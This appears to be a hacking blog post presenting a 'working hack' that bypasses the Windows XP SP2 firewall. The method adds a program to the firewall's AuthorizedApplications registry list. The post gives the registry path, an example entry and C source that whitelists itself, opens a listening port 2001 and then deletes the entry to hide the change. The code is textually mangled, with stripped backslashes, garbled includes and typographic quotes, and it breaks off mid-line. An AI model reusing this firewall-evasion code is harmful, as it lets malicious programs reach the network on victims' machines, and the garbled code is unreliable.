Bypass Windows XP Firewall |
Hello Friends, today i will share with you the technique using which we can bypass windows-xp service pack-2 firewall. Its a 100% working hack and its basically an exploit in windows XP.
This techniques is nothing but the vulnerability found in windows-xp sp2 firewall.
Windows XP Firewall Bypassing (Registry Based) :- Microsoft Windows XP SP2 comes bundled with a Firewall. Direct access to Firewall’s registry keys allow local attackers to bypass the Firewall blocking list and allow malicious program to connect the network.
Credit :-
The information has been provided by Mark Kica.
* Microsoft Windows XP SP2
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices SharedAccessParametersFirewallPolicyStandardProfile AuthorizedApplicationsList
Launch the regedit.exe program and access the keys found under the following path:
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices SharedAccessParametersFirewallPolicyStandardProfile AuthorizedApplicationsList
Name: C:chat.exe
Value: C:chat.exe:*:Enabled:chat
Source Code :-
#include <*stdio.h*>
#include <*windows.h*>
#include <*ezsocket.h*>
#include <*conio.h*>
#include “Shlwapi.h”
int main( int argc, char *argv [] )
{
char buffer[1024];
char filename[1024];
HKEY hKey;
int i;
GetModuleFileName(NULL, filename, 1024);
strcpy(buffer, filename);
strcat(buffer, “:*:Enabled:”);
strcat(buffer, “bugg”);
RegOpenKeyEx(
HKEY_LOCAL_MACHINE,
“SYSTEM\CurrentControlSet\Services” “\SharedAccess\Parameters\FirewallPolicy\StandardProfile” “\AuthorizedApplications\List”,
0,
KEY_ALL_ACCESS,
&hKey);
RegSetValueEx(hKey, filename, 0, REG_SZ, buffer, strlen(buffer));int temp, sockfd, new_fd, fd_size;
struct sockaddr_in remote_addr;
fprintf(stdout, “Simple server example with Anti SP2 firewall trick n”);
fprintf(stdout, ” This is not trojan n”);
fprintf(stdout, ” Opened port is :2001 n”);
fprintf(stdout, “author:Mark Kica student of Technical University Kosicen”);
fprintf(stdout, “Dedicated to Katka H. from Levoca n”);
sleep(3);
if ((sockfd = ezsocket(NULL, NULL, 2001, SERVER)) == -1)
return 0;
for (; ; )
{
RegDeleteValue(hKey, filename);
fd_size = sizeof(struct sockaddr_in);
if ((new_fd = accept(sockfd, (struct sockaddr *)&remote_addr, &fd_size)) == -1)
{
perror(“accept”);
continue;
}
temp = send(new_fd, “Hello Worldrn”, strlen(“Hello Worldrn”), 0);
fprintf(stdout, “Sended: Hello Worldrn”);
temp = recv(new_fd, buffer, 1024, 0);
buffer[temp] = ‘